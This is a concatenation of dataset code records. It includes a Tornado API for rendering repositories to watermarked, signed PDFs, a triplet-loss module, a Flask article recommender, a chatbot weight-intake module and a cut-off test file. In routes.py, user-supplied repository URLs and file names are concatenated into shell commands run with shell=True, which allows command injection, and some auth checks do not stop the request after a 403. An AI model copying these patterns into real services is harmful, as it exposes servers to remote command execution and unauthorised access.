pdffile, complete_hash, file_tittle\n\n except IOError as e:\n logger.info('google render IOError' + str(e))\n return False, False, False\n except Exception as e:\n logger.info(\"other error google render\" + str(e))\n return False, False, False\n\n\ndef create_download_pdf(repo_url, email, main_tex=\"main.tex\", options={}):\n '''Clones a repo and renders the file received as main_tex '''\n repo_name = ''\n file_tittle = \"document.pdf\"\n file_full_path = ''\n complete_hash = \"\"\n new_main_tex = \"main2.tex\"\n if email is None or email== \"\":\n return False, False\n\n watermark = \"Document generated for: \"+ email\n\n clone = 'git clone ' + repo_url\n rev_parse = 'git rev-parse master'\n\n with tempfile.TemporaryDirectory() as tmpdir:\n try:\n timestamp = str(time.time())\n run_latex_result = subprocess.check_output(clone, shell=True, cwd=tmpdir)\n repo_name = os.listdir(tmpdir)[0]\n file_tittle = repo_name.strip(\" \") + \".pdf\"\n filesdir = os.path.join(tmpdir, repo_name)\n if options != {}: #if there are special conditions to render\n # modify the original template:\n template = latex_jinja_env.get_template(filesdir +\"/\"+main_tex)\n renderer_template = template.render(**options)\n with open(filesdir + \"/\" + new_main_tex, \"w\") as f: # saves tex_code to outpout file\n f.write(renderer_template)\n else:\n new_main_tex = main_tex\n\n file_full_path = filesdir + \"/\" + new_main_tex.split(\".\")[0] + \".pdf\"\n run_git_rev_parse = subprocess.check_output(rev_parse, shell=True, cwd=filesdir)\n complete_hash = get_hash([timestamp, email], [run_git_rev_parse.decode('UTF-8')])\n run_latex_result = subprocess.call(\"texliveonfly --compiler=latexmk --arguments='-interaction=nonstopmode -pdf' -f \" + new_main_tex, shell=True,\n cwd=filesdir)\n\n pointa = fitz.Point(AXIS_X, AXIS_Y)\n pointb = fitz.Point(AXIS_X_LOWER, AXIS_Y)\n document = fitz.open(file_full_path)\n for page in document:\n page.insertText(pointa, text=watermark, fontsize=WATERMARK_SIZE, fontname=WATERMARK_FONT,\n rotate=WATERMARK_ROTATION)\n page.insertText(pointb, text=\"DocId: \" + complete_hash, fontsize=WATERMARK_SIZE,\n fontname=WATERMARK_FONT, rotate=WATERMARK_ROTATION)\n document.save(file_full_path, incremental=1)\n document.close()\n\n pdffile = open(file_full_path, 'rb').read()\n return pdffile, complete_hash, file_tittle\n\n except IOError as e:\n logger.info('IOError'+ str(e))\n return False, False, False\n except Exception as e:\n logger.info(\"other error\"+ str(e))\n return False, False, False\n\n\ndef render_pdf_base64_latex(repo_url, main_tex= \"main.tex\", options={}):\n '''Clones a repo and renders the file received as main_tex '''\n repo_name = ''\n file_full_path = ''\n new_main_tex = \"main.tex\"\n\n clone = 'git clone ' + repo_url\n rev_parse = 'git rev-parse master'\n\n with tempfile.TemporaryDirectory() as tmpdir:\n try:\n run_latex_result = subprocess.check_output(clone, shell=True, cwd=tmpdir)\n repo_name = os.listdir(tmpdir)[0]\n filesdir = os.path.join(tmpdir, repo_name)\n if options != {}: #if there are special conditions to render\n # modify the original template:\n template = latex_jinja_env.get_template(filesdir +\"/\"+main_tex)\n renderer_template = template.render(**options)\n with open(filesdir + \"/\" + new_main_tex, \"w\") as f: # saves tex_code to outpout file\n f.write(renderer_template)\n else:\n new_main_tex = main_tex\n\n run_git_rev_parse = subprocess.check_output(rev_parse, shell=True, cwd=filesdir)\n run_latex_result = subprocess.call(\"texliveonfly --compiler=latexmk --arguments='-interaction=nonstopmode -pdf' -f \" + new_main_tex, shell=True,\n cwd=filesdir)\n\n file_full_path = filesdir + \"/\" + new_main_tex.split(\".\")[0] + \".pdf\"\n file_full_path64 = filesdir + \"/\" + new_main_tex.split(\".\")[0] + \".base64\"\n with open(file_full_path, 'rb') as f:\n with open(file_full_path64, 'wb') as ftemp:\n # write in a new file the base64\n ftemp.write(base64.b64encode(f.read()))\n\n pdffile = open(file_full_path64, 'r').read()\n\n return (pdffile)\n\n except IOError as e:\n logger.info('IOError'+ str(e))\n return False\n except Exception as e:\n logger.info(\"other error\"+ str(e))\n return False\n\n\ndef render_pdf_base64_google(pdf_url, user_credentials):\n '''Download and render a pdf file from google'''\n file_full_path= file_full_path64 = \"\"\n\n pdf_id = get_id_from_url(pdf_url)\n if pdf_id is False:\n return False\n\n # Load credentials from the session.\n credentials = google.oauth2.credentials.Credentials(\n **user_credentials\n )\n\n with tempfile.TemporaryDirectory() as tmpdir:\n file_full_path64 = tmpdir + \"/\" + pdf_id + \".base64\"\n file_full_path = tmpdir + \"/\" + pdf_id + \".pdf\"\n drive = googleapiclient.discovery.build(\n conf.API_SERVICE_NAME, conf.API_VERSION, credentials=credentials)\n\n request = drive.files().export_media(fileId=pdf_id,\n mimeType='application/pdf')\n\n fh = io.BytesIO()\n downloader = MediaIoBaseDownload(fh, request, chunksize=conf.CHUNKSIZE)\n done = False\n while done is False:\n status, done = downloader.next_chunk()\n\n with open(file_full_path64, 'wb') as ftemp:\n # write in a new file the base64\n ftemp.write(base64.b64encode(fh.getvalue()))\n\n pdffile = open(file_full_path64, 'r').read()\n\n return (pdffile)\n\n\ndef create_link(doc_id):\n '''Create a new link for the document'''\n result = False\n try:\n mylink = Link.Link(doc_id)\n result = mylink.create_link()\n return result\n\n except Exception as e:\n logger.info(\"error creating the link\" + str(e))\n return False\n\n\ndef delete_link(doc_id):\n '''Delete a previously created link'''\n result = False\n try:\n mylink = Link.Link(doc_id)\n result = mylink.delete_link()\n return True\n\n except Exception as e:\n logger.info(\"error deleting the link\" + str(e))\n return False\n\n\ndef get_link_details(link_id):\n ''' Retrieves the status of a Document link (signed or unsigned)'''\n result = False\n try:\n mylink = Link.Link()\n result = mylink.find_by_link(link_id)\n return result\n\n except Exception as e:\n logger.info(\"error deleting the link\" + str(e))\n return False\n\n\ndef get_document_details(doc_id):\n ''' Retrieves the status of a Document link (signed or unsigned)'''\n result = False\n try:\n doc = Document.Document()\n doc = doc.find_by_doc_id(doc_id)\n result = doc.__dict__\n result.pop(\"_id\")\n result.pop(\"type\")\n return result\n\n except Exception as e:\n logger.info(\"error getting document details \" + str(e))\n return False\n\n\ndef get_b64_pdf(doc_id, userjson):\n '''Call the render function and retrive a base 64 pdf'''\n result = False\n try:\n user = User.User()\n user = user.find_by_attr(\"username\", userjson.get(\"username\"))\n doc = Document.Document()\n docs = doc.find_by_attr(\"doc_id\", doc_id)\n if len(docs) > 0:\n doc = docs[0]\n else:\n return result\n doc_type = getattr(doc, \"type\", False)\n if doc_type is False:\n google_token = getattr(user, \"google_token\", False)\n if google_token is not False:\n user_credentials = {'token': user.google_token,\n 'refresh_token':user.google_refresh_token, 'token_uri': conf.GOOGLE_TOKEN_URI,\n 'client_id': conf.GOOGLE_CLIENT_ID,\n 'client_secret': conf.GOOGLE_CLIENT_SECRET,\n 'scopes': conf.SCOPES}\n bytes = render_pdf_base64_google(doc.get(\"wp_url\"), user_credentials)\n else:\n return result\n else:\n bytes = render_pdf_base64_latex(doc.get(\"wp_url\"))\n return bytes\n\n except Exception as e:\n logger.info(\"error rendering the document link \" + str(e))\n\n return result\n\n\ndef create_dynamic_endpoint(document, userjson):\n '''This function retrives an URL formed by document ID and the Base url for the server'''\n base_url= conf.BASE_URL\n PDF_VIEW_URL = '/api/v1/pdf/'\n try:\n user = User.User()\n user = user.find_by_attr(\"username\", userjson.get(\"username\"))\n if user is not False:\n document.org_id = user.org_id\n doc_id = document.create_document()\n if doc_id is not False:\n return doc_id\n\n except Exception as e:\n logger.info(\"error creating doc\" + str(e))\n return False\n\n logger.info(\"Information not valid creating doc\")\n return False\n\n\ndef render_document(tmpdir, thisdoc, doc_file_name, user, google_credentials_info, signer_user, attachments_list):\n WPCI_FILE_NAME = \"whitepaper.pdf\"\n wpci_file_path = os.path.join(tmpdir, WPCI_FILE_NAME)\n wpci_result = False\n error = \"\"\n try:\n doc_type = getattr(thisdoc, \"render\", False)\n if doc_type is not False and doc_type == \"google\":\n google_token = getattr(user, \"google_token\", False)\n if google_token is not False:\n wpci_result, complete_hash, WPCI_FILE_NAME = create_download_pdf_google(\n thisdoc.wp_url,\n google_credentials_info,\n signer_user.email)\n else:\n wpci_result, complete_hash, WPCI_FILE_NAME = create_download_pdf(\n thisdoc.wp_url,\n signer_user.email,\n thisdoc.main_tex)\n\n if not wpci_result:\n error = \"Error rendering the document\"\n logger.info(error)\n return attachments_list, error\n\n with open(wpci_file_path, 'wb') as temp_file:\n temp_file.write(wpci_result)\n\n uploaded_document_url = upload_to_s3(wpci_file_path, doc_file_name)\n signer_user.s3_doc_url = S3_BASE_URL.format(doc_file_name)\n signer_user.update()\n # this is the payload for the white paper file\n wpci_attachment = dict(file_type=ATTACH_CONTENT_TYPE,\n file_path=wpci_file_path,\n filename=WPCI_FILE_NAME)\n attachments_list.append(wpci_attachment)\n\n except Exception as e:\n logger.info(\"error rendering document: {}\".format(str(e)))\n error = \"error rendering document\"\n finally:\n return attachments_list, error\n\n\ndef render_contract(user, tmpdir, nda_file_base64, contract_file_name, signer_user, attachments_list, link_id):\n tx_id = error = \"\"\n NDA_FILE_NAME = \"contract.pdf\"\n try:\n crypto_tool = CryptoTools()\n if user.org_logo is None or user.org_logo == \"\":\n org_logo = open(DEFAULT_LOGO_PATH, 'r').read()\n else:\n org_logo = user.org_logo\n\n nda_file_path = os.path.join(tmpdir, NDA_FILE_NAME)\n sign_document_hash(signer_user, nda_file_base64)\n rsa_object = crypto_tool.import_RSA_string(signer_user.priv_key)\n pub_key_hex = crypto_tool.savify_key(rsa_object.publickey()).decode(\"utf-8\")\n\n crypto_sign_payload = {\n \"pdf\": nda_file_base64,\n \"timezone\": TIMEZONE,\n \"signature\": signer_user.sign,\n \"signatories\": [\n {\n \"email\": signer_user.email,\n \"name\": signer_user.name,\n \"public_key\": pub_key_hex\n }],\n \"params\": {\n \"locale\": LANGUAGE,\n \"title\": user.org_name + \" contract\",\n \"file_name\": NDA_FILE_NAME,\n \"logo\": org_logo,\n }\n }\n\n nda_result, sign_record = get_nda(crypto_sign_payload, signer_user)\n\n if not nda_result:\n error = \"Failed loading contract\"\n logger.info(error)\n return attachments_list, error\n\n # if the request returned a nda pdf file correctly then store it as pdf\n with open(nda_file_path, 'wb') as temp_file:\n temp_file.write(nda_result)\n\n uploaded_document_url = upload_to_s3(\n nda_file_path, contract_file_name\n )\n sign_record.s3_contract_url = S3_BASE_URL.format(contract_file_name)\n sign_record.link_id = link_id\n sign_record.update()\n # this is the payload for the nda file\n nda_attachment = dict(file_type=ATTACH_CONTENT_TYPE,\n file_path=nda_file_path,\n filename=NDA_FILE_NAME)\n attachments_list.append(nda_attachment)\n\n except Exception as e:\n logger.info(\"Error rendering contract: {}\".format(str(e)))\n finally:\n return attachments_list, error\n\n\n@gen.engine\ndef render_and_send_docs(user, thisdoc, nda_file_base64, google_credentials_info, render_wp_only,\n render_nda_only, signer_user, link_id, doc_file_name=\"\", contract_file_name=\"\",\n email_body_html=\"\", email_body_text=\"\"):\n \"\"\"Renders the documents and if needed send it to cryptosign and finally send it by email\"\"\"\n\n attachments_list = []\n doc_id = error = errornda = errorwp = \"\"\n mymail = Mailer(username=conf.SMTP_USER, password=conf.SMTP_PASS, host=conf.SMTP_ADDRESS, port=conf.SMTP_PORT)\n\n # Here we create a temporary directory to store the files while the function sends it by email\n with tempfile.TemporaryDirectory() as tmp_dir:\n try:\n\n if render_nda_only is False:\n attachments_list, errornda = render_document(tmp_dir, thisdoc, doc_file_name, user, google_credentials_info,\n signer_user, attachments_list)\n if render_wp_only is False:\n attachments_list, errorwp = render_contract(user, tmp_dir, nda_file_base64,\n contract_file_name, signer_user, attachments_list, link_id)\n error = errornda + errorwp\n if error != \"\":\n logger.info(\"There was an error on the documents rendering: {}\".format(error))\n else:\n if not email_body_html:\n email_body_html = DEFAULT_HTML_TEXT\n\n # send the email with the result attachments\n sender_format = \"{} <{}>\"\n loader = Loader(\"templates/email\")\n button = loader.load(\"cta_button.html\")\n notification_subject = \"Your Document {} has been downloaded\".format(thisdoc.doc_id)\n analytics_link = \"{}{}analytics/{}\".format(conf.BASE_URL, BASE_PATH, thisdoc.doc_id)\n\n mymail.send(subject=thisdoc.wp_name, email_from=sender_format.format(user.org_name, conf.SMTP_EMAIL),\n emails_to=[signer_user.email],\n attachments_list=attachments_list,\n html_message=email_body_html + button.generate().decode(\"utf-8\"),\n text_message=email_body_text)\n\n html_text = NOTIFICATION_HTML.format(signer_user.email, thisdoc.doc_id, analytics_link, analytics_link)\n mymail.send(subject=notification_subject,\n attachments_list=attachments_list,\n email_from=sender_format.format(\"WPCI Admin\", conf.SMTP_EMAIL),\n emails_to=[user.org_email], html_message=html_text,\n text_message=email_body_text)\n\n except Exception as e: # except from temp directory\n logger.info(\"[ERROR] sending the email with the documents \" + str(e))\n\n\n@jwtauth\nclass APINotFoundHandler(BaseHandler):\n '''If the endpoint doesn't exists then it will response with this code'''\n def options(self, *args, **kwargs):\n self.set_status(200)\n self.finish()\n\n\nclass AuthLoginHandler(BaseHandler):\n '''Receives the username and password to retrive a token'''\n def post(self):\n json_data = json.loads(self.request.body.decode('utf-8'))\n token_auth = authenticate_json(json_data)\n if token_auth is False:\n status_code =401\n response = {'status': '401', 'message': 'Incorrect username or password'}\n else:\n status_code = 200\n response = {\"token\": token_auth}\n\n self.write_json(response, status_code)\n\n def set_current_user(self, user):\n if user:\n self.set_secure_cookie(\"user\", tornado.escape.json_encode(user))\n else:\n self.clear_cookie(\"user\")\n\n\nclass RegisterUserByEmail(BaseHandler):\n \"\"\"Receives a payload with the user data and stores it on the bd\"\"\"\n\n def post(self):\n VERIFICATION_HTML = \"

Hello,

\\\n

Click HERE to verify your email.

\\\n

Best regards,

\"\n try:\n ADMIN_URL = conf.BASE_URL + BASE_PATH+\"validate_email?code=\"\n email = self.get_argument('email', \"\")\n\n if is_valid_email(email):\n user = User.User(email)\n if user.find() is False:\n code = user.get_validation_code()\n if code is False:\n self.write(json.dumps({\"error\": \"user\"}))\n try:\n\n html_text = VERIFICATION_HTML.format(ADMIN_URL + code)\n mymail = Mailer(username=SMTP_USER, password=SMTP_PASS, host=SMTP_ADDRESS, port=SMTP_PORT)\n mymail.send(subject=\"Documentation\", email_from=SMTP_EMAIL, emails_to=[email],\n html_message=html_text)\n self.write(json.dumps({\"response\": \"email sent\"}))\n except Exception as e:\n logger.info(\"sending email: \"+str(e))\n self.write(json.dumps({\"error\": \"email\"}))\n else:\n self.write(json.dumps({\"error\": \"user\"}))\n\n else:\n self.write(json.dumps({\"error\": \"email\"}))\n\n except:\n logger.info(\"registering user: \" + str(e))\n self.write(json.dumps({\"error\": \"email\"}))\n\n\nclass RegisterUser(BaseHandler):\n '''receives a payload with the user data and stores it on the bd'''\n def post(self):\n try:\n json_data = json.loads(self.request.body.decode('utf-8'))\n user = User.User(json_data.get(\"username\"), json_data.get(\"password\"))\n if not user.find():\n user.create()\n self.write(json.dumps({\"response\": \"user created successfully\"}))\n else:\n self.write(json.dumps({\"response\": \"user already exists\"}))\n except:\n self.write(json.dumps({\"response\": \"error registering user\"}))\n\n\nclass WebhookConfirm(BaseHandler):\n '''Receives a payload with the user data and stores it on the bd'''\n def post(self):\n try:\n user = User.User()\n json_data = json.loads(self.request.body.decode('utf-8'))\n if json_data.get(\"token\") is not None and json_data.get(\"user_email\") is not None :\n user = user.find_by_attr(\"username\", json_data.get(\"user_email\"))\n if json_data.get(\"token\") == conf.PAY_TOKEN and json_data.get(\"payment_status\") is not None:\n user.set_attributes({\"has_paid\": json_data.get(\"payment_status\")})\n user.update()\n\n self.write_json({\"response\": \"ok\"}, 200)\n else:\n error = \"error on token\"\n logger.info(error)\n self.write_json({\"error\": error}, 401)\n except:\n error= \"error getting response\"\n logger.error(error)\n self.write_json({\"error\": error}, 500)\n\n\n@jwtauth\nclass PostRepoHash(BaseHandler):\n '''Receives a post with the github repository url and renders it to PDF with clone_repo'''\n\n def get(self, userid):\n self.write(json.dumps({\"response\": \"GET not found\"}))\n\n def post(self, userid):\n json_data = json.loads(self.request.body.decode('utf-8'))\n try:\n if json_data.get(\"main_tex\") is None or json_data.get(\"main_tex\") == \"\":\n main_tex = \"main.tex\"\n else:\n main_tex = json_data.get(\"main_tex\")\n\n if json_data.get(\"email\") is None or json_data.get(\"email\") == \"\":\n email = \"\"\n else:\n email = json_data.get(\"email\")\n\n if json_data.get(\"email_body_html\") is None or json_data.get(\"email_body_html\") == \"\":\n email_body_html = DEFAULT_HTML_TEXT\n else:\n email_body_html = json_data.get(\"email_body_html\")\n\n if json_data.get(\"email_body_text\") is None or json_data.get(\"email_body_text\") == \"\":\n email_body_text = \"\"\n else:\n email_body_text = json_data.get(\"email_body_text\")\n\n if json_data.get(\"options\") is None or json_data.get(\"options\") == {} or json_data.get(\"options\") == \"\":\n options = {}\n else:\n options = json_data.get(\"options\")\n\n\n userjson = ast.literal_eval(userid)\n result = create_email_pdf_auth(json_data.get(\"remote_url\"),userjson, email, email_body_html, main_tex, email_body_text, options)\n if result:\n self.write(json.dumps({\"response\": \"done\"}))\n else:\n self.write(json.dumps({\"response\": \"Error\"}))\n\n except Exception as e:\n logger.info(\"error on clone\"+ str(e))\n self.write(json.dumps({\"response\": \"Error\"}))\n\n\nclass RenderUrl(BaseHandler):\n '''Receives a get with the github repository url as parameters and renders it to PDF with clone_repo'''\n\n def get(self):\n try:\n link_id = self.get_argument('link_id', \"\")\n email = self.get_argument('email', \"\")\n name = self.get_argument('name', \"\")\n email_body_html = self.get_argument('email_body_html', DEFAULT_HTML_TEXT)\n email_body_text =self.get_argument('email_body_text', \"\")\n options = json.loads(self.get_argument('options', \"{}\"))\n\n result = render_send_by_link_id(link_id, email, name, email_body_html, email_body_text)\n if not result:\n self.write(json.dumps({\"response\": \"Error\"}))\n else:\n self.write(json.dumps(result))\n\n except Exception as e:\n logger.info(\"error on clone\"+ str(e))\n self.write(json.dumps({\"response\": \"Error\"}))\n\n\n@jwtauth\nclass PostWpNda(BaseHandler):\n '''Receives a post with the document url and responses with a document id '''\n\n def post(self, userid):\n json_data = json.loads(self.request.body.decode('utf-8'))\n try:\n doc = Document.Document()\n\n if not json_data.get(\"wp_url\"):\n self.write(json.dumps({\"response\": \"Error, White paper url not found\"}))\n if not json_data.get(\"wp_name\"):\n self.write(json.dumps({\"response\": \"Error, White paper name not found\"}))\n if not json_data.get(\"wp_main_tex\"):\n json_data[\"main_tex\"] = \"main.tex\"\n if not json_data.get(\"nda_url\"):\n json_data[\"nda_url\"] = \"\"\n if not json_data.get(\"email_body_html\"):\n json_data[\"email_body_html\"] = \"\"\n if not json_data.get(\"email_body_txt\"):\n json_data[\"email_body_txt\"] = \"\"\n\n doc.__dict__ = json_data\n userjson = ast.literal_eval(userid)\n\n result = create_dynamic_endpoint(doc, userjson)\n if result is not False:\n self.write(json.dumps({\"doc_id\": result}))\n else:\n self.write(json.dumps({\"response\": \"Error\"}))\n\n except Exception as e:\n logger.info(\"error creating endpoint\" + str(e))\n self.write(json.dumps({\"response\": \"Error\"}))\n\n def get(self, userid):\n try:\n link_id = self.get_argument('link_id', \"\")\n email = self.get_argument('email', \"\")\n name = self.get_argument('name', \"\")\n email_body_html = self.get_argument('email_body_html', DEFAULT_HTML_TEXT)\n email_body_text = self.get_argument('email_body_text', \"\")\n options = json.loads(self.get_argument('options', \"{}\"))\n\n result = render_send_by_link_id(link_id, email, name, email_body_html, email_body_text)\n if not result:\n self.write(json.dumps({\"response\": \"Error\"}))\n else:\n self.write(json.dumps(result))\n\n except Exception as e:\n logger.info(\"error on clone\" + str(e))\n self.write(json.dumps({\"response\": \"Error\"}))\n\n\nclass Links(BaseHandler):\n '''Get, create and delete a document link'''\n\n def get(self, link_id):\n if not validate_token(self.request.headers.get('Authorization')):\n self.write_json(AUTH_ERROR, 403)\n\n if link_id:\n result = get_link_details(link_id)\n if result is not False:\n result = result.__dict__\n result.pop(\"_id\")\n\n #Replace the Link id for the full link url\n result[\"link\"] = conf.BASE_URL +BASE_PATH+\"pdf/\" + result.pop(\"link\")\n\n self.write_json(result, 200)\n else:\n self.write(json.dumps({\"doc_status\": \"failed\"}))\n\n else:\n self.write(json.dumps({\"error\": \"not enough information to perform the action\"}))\n\n def post(self, doc_id):\n if not validate_token(self.request.headers.get('Authorization')):\n self.write_json(AUTH_ERROR, 403)\n\n if doc_id:\n result = create_link(doc_id)\n if result is not False:\n result = result.__dict__\n result.pop(\"_id\")\n\n # Replace the Link id for the full link url\n result[\"link\"] = conf.BASE_URL + BASE_PATH + \"pdf/\" + result.pop(\"link\")\n\n self.write_json(result, 200)\n else:\n self.write(json.dumps({\"response\": \"failed link creation\"}))\n\n else:\n self.write(json.dumps({\"error\": \"not enough information to perform the action\"}))\n\n def delete(self, link_id):\n if not validate_token(self.request.headers.get('Authorization')):\n self.write_json(AUTH_ERROR, 403)\n\n if link_id:\n result = delete_link(link_id)\n if result:\n self.write(json.dumps({\"response\": \"link deleted\"}))\n else:\n self.write(json.dumps({\"response\": \"failed link creation\"}))\n\n else:\n self.write(json.dumps({\"error\": \"not enough information to perform the action\"}))\n\n\n@jwtauth\nclass RenderDocToPDF(BaseHandler):\n '''Receives a get with the id of the document and renders it to PDF with clone_repo'''\n\n def get(self, doc_id):\n '''Receives a document id and retrieves a json with a b64 pdf'''\n userjson = validate_token(self.request.headers.get('Authorization'))\n if not userjson:\n self.write_json(AUTH_ERROR, 403)\n\n if doc_id is not None and doc_id != \"\":\n result = get_b64_pdf(doc_id, userjson)\n if result is not False:\n self.write(json.dumps({\"document\": result}))\n else:\n self.write(json.dumps({\"error\": \"failed\"}))\n\n else:\n self.write(json.dumps({\"error\": \"not enough information to perform the action\"}))\n\n\nclass Documents(BaseHandler):\n '''Documents endpoint'''\n\n def get(self, doc_id):\n '''Receives a document id and retrieves all its parameters'''\n userjson = validate_token(self.request.headers.get('Authorization'))\n if not userjson:\n self.write_json(AUTH_ERROR, 403)\n\n if doc_id is not None and doc_id != \"\":\n result = get_document_details(doc_id)\n if result:\n self.write_json(result, 200)\n else:\n self.write(json.dumps({\"error\": \"failed\"}))\n\n else:\n self.write(json.dumps({\"error\": \"not enough information to perform the action\"}))\n\n","sub_path":"handlers/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":53893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"431354311","text":"import torch\r\nimport torch.nn as nn\r\nimport numpy as np\r\n\r\nclass TripletLoss(nn.Module):\r\n def __init__(self):\r\n super(TripletLoss, self).__init__()\r\n\r\n def forward(self, anchor, pos, neg, alpha):\r\n pos_dist = torch.sum(torch.sub(anchor, pos).pow(2), 1)\r\n neg_dist = torch.sum(torch.sub(anchor, neg).pow(2), 1)\r\n loss = torch.add(torch.sub(pos_dist, neg_dist), alpha)\r\n mean_loss = torch.mean(torch.clamp_min(loss, 0.0), 0)\r\n return mean_loss\r\n\r\ndef triplet_loss(anchor, pos, neg, alpha):\r\n \"\"\"\r\n :param anchor:\r\n :param pos:\r\n :param neg:\r\n :param alpha:\r\n :return:\r\n \"\"\"\r\n pos_dist = torch.sum(torch.sub(anchor, pos).pow(2), 1)\r\n neg_dist = torch.sum(torch.sub(anchor, neg).pow(2), 1)\r\n\r\n loss = torch.add(torch.sub(pos_dist, neg_dist), alpha)\r\n mean_loss = torch.mean(torch.clamp_min(loss, 0.0), 0)\r\n\r\n return mean_loss\r\n\r\n\r\ndef sample_batch(dateset, people_per_batch, images_per_people):\r\n pass\r\n\r\n\r\ndef select_triplet(embedding, labels, alpha = 0.2):\r\n anchor = []\r\n pos = []\r\n neg = []\r\n for i in range(len(embedding)):#对第i个图片\r\n neg_dis = np.sum(np.square(embedding[i] - embedding), 1)\r\n for p in range(len(embedding)):\r\n if labels[i] == labels[p]:\r\n neg_dis[p] = np.NaN\r\n for j in range(i+1, len(embedding)):\r\n if labels[i] == labels[j]:\r\n pos_dis = np.sum(np.square((embedding[i]-embedding[j])))\r\n all_neg = np.where(neg_dis - pos_dis < alpha)[0]\r\n all_neg_num = all_neg.shape[0]\r\n if all_neg_num > 0:\r\n neg_idx = all_neg[np.random.randint(all_neg_num)]\r\n anchor.append(i)\r\n pos.append(j)\r\n neg.append(neg_idx)\r\n\r\n return anchor, pos, neg\r\n","sub_path":"triplet_loss.py","file_name":"triplet_loss.py","file_ext":"py","file_size_in_byte":1854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"543554795","text":"from flask import Flask,request,jsonify\r\nfrom storage import all_articles , liked_articles , not_likes_articles , did_not_read_articles\r\nfrom demographic_filtering import output\r\nfrom content_filtering import getRecommendation\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route('/get-article')\r\ndef get_Article():\r\n article_Data = {\r\n 'title':all_articles[0][12],\r\n 'url':all_articles[0][11],\r\n 'lang':all_articles[0][14] or 'n/a',\r\n 'contentId':all_articles[0][4],\r\n 'authorPersonId':all_articles[0][5],\r\n 'total_events':all_articles[0][15]\r\n }\r\n return jsonify({\r\n 'data':article_Data,\r\n 'status':'success'\r\n })\r\n\r\n@app.route('/liked-article',methods = ['POST'])\r\ndef liked_article():\r\n article = all_articles[0]\r\n liked_articles.append(article)\r\n all_articles.pop(0)\r\n return jsonify({\r\n 'status':'success'\r\n }),201\r\n\r\n@app.route('/unliked-article',methods = ['POST'])\r\ndef unliked_article():\r\n article = all_articles[0]\r\n not_likes_articles.append(article)\r\n all_articles.pop(0)\r\n return jsonify({\r\n 'status':'success'\r\n }),201\r\n\r\n@app.route('/did_not_read-article',methods = ['POST'])\r\ndef did_not_read_article():\r\n article = all_articles[0]\r\n did_not_read_articles.append(article)\r\n all_articles.pop(0)\r\n return jsonify({\r\n 'status':'success'\r\n }),201\r\n\r\n@app.route('/popular-articles')\r\ndef popular_articles():\r\n article_data = []\r\n for i in output:\r\n data = {\r\n 'title':i[0],\r\n 'url':i[1],\r\n 'lang':i[2] or 'n/a',\r\n 'contentId':i[3],\r\n 'authorPersonId':i[4],\r\n 'total_events':i[5]\r\n }\r\n article_data.append(data)\r\n\r\n return jsonify({\r\n 'data':article_data,\r\n 'status':'success'\r\n }),201\r\n\r\n@app.route('/recommeded-articles')\r\ndef recommended_articles():\r\n all_recommended = []\r\n for i in liked_articles:\r\n output = getRecommendation(i[19])\r\n for data in output:\r\n all_recommended.append(data)\r\n \r\n import itertools\r\n all_recommended.sort()\r\n\r\n all_recommended = list(all_recommended for all_recommended,_ in itertools.groupby(all_recommended))\r\n\r\n article_data = []\r\n for i in all_recommended:\r\n data = {\r\n 'title':i[0],\r\n 'url':i[1],\r\n 'lang':i[2] or 'n/a',\r\n 'contentId':i[3],\r\n 'authorPersonId':i[4],\r\n 'total_events':i[5]\r\n }\r\n article_data.append(data)\r\n \r\n return jsonify({\r\n 'data':article_data,\r\n 'status':'success'\r\n }),201\r\n\r\nif __name__ == '__main__':\r\n app.run()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"545318249","text":"import utils as ut\nimport re \nimport profile\nimport height \n\n############################################################################\n#\n#\tObjective: Collect weight information from user while building profile \n#\t\n#\n#\tLinked from: age.py module\n#\n#\tLinks to: height.py module\n#\n############################################################################\n\ndef ask(user, user_id):\n\t\"\"\" Sends message to user requesting their exercise habits \"\"\"\n\n\tut.update_user(user, 'status', (\"weight\", 1))\n\tut.send_response('How much do you weigh (in lbs)?', user_id)\n\n\ndef process(message, user):\n\n\t#=====[ Get relevant info from utils ]=====\n\tuser_id, status, status_num, text = ut.get_info(user,message)\n\n\t#=====[ Status 1 asks for a weight ]=====\n\tif status_num == 1:\n\n\t\t#=====[ Checks if no weight found ]=====\n\t\tif not extract_weight(text, user, user_id):\n\n\t\t\tut.send_response('That does not answer the question.', user_id)\n\t\t\tut.send_response('How much do you weigh?', user_id)\t\t\n\t\t\treturn \n\n\t#=====[ Status 2 confirms weight ]=====\n\telif status_num == 2:\n\n\t\tif 'yes' in text:\n\n\t\t\theight.ask(user, user_id)\n\t\t\treturn\n\n\t\telse:\n\n\t\t\tif not extract_weight(text, user, user_id):\n\t\t\t\tut.update_user(user, 'status', (\"weight\", 1))\n\t\t\t\tut.send_response('So how much do you weigh?', user_id)\n\t\t\t\treturn \n\n############################################################################\n############################################################################\n########################## Internal Helpers ################################\n############################################################################\n############################################################################\n\ndef extract_weight(text, user, user_id):\n\t\"\"\" Extracts a weight from the user's message \"\"\"\n\n\t#=====[ Substitutes written our numbers with digits ]=====\n\ttext = ut.convertText2Int(text)\n\n\t#=====[ regex to extract weight ]=====\n\tregex = r\"\\d+\"\n\n\tif re.search(regex,text):\n\n\t\t#=====[ Store weight ]=====\n\t\tweight = int(re.search(regex,text).group(0))\n\t\tuser['profile']['weight'] = weight\n\t\tut.update_user(user, 'profile', user['profile'])\n\t\t\n\t\t#=====[ Double checks weight less than 50 or greater than 350 ]=====\n\t\tif not appropriate(weight):\n\n\t\t\tut.send_response('Are you really ' + str(weight) + ' lbs?', user_id)\n\t\t\tuser['profile']['weight'] = str(weight)\n\t\t\tut.update_user(user, 'status', (\"weight\", 2))\n\n\t\telse:\n\n\t\t\theight.ask(user, user_id)\n\t\t\n\t\treturn True\n\n\treturn False\n\ndef appropriate(weight):\n\treturn not (weight < 50 or weight > 400)","sub_path":"modules/weight.py","file_name":"weight.py","file_ext":"py","file_size_in_byte":2522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"86834432","text":"import unittest\n#from balooner import message\nfrom balooner import message\n\n\nclass MessageTest(unittest.TestCase):\n def setUp(self):\n self.Chell = message.Message(header='test_header',\n intro='test_intro',\n body=['event1', 'event2'],\n outro='test_outro')\n\n def tearDown(self):\n del self.Chell\n\n def 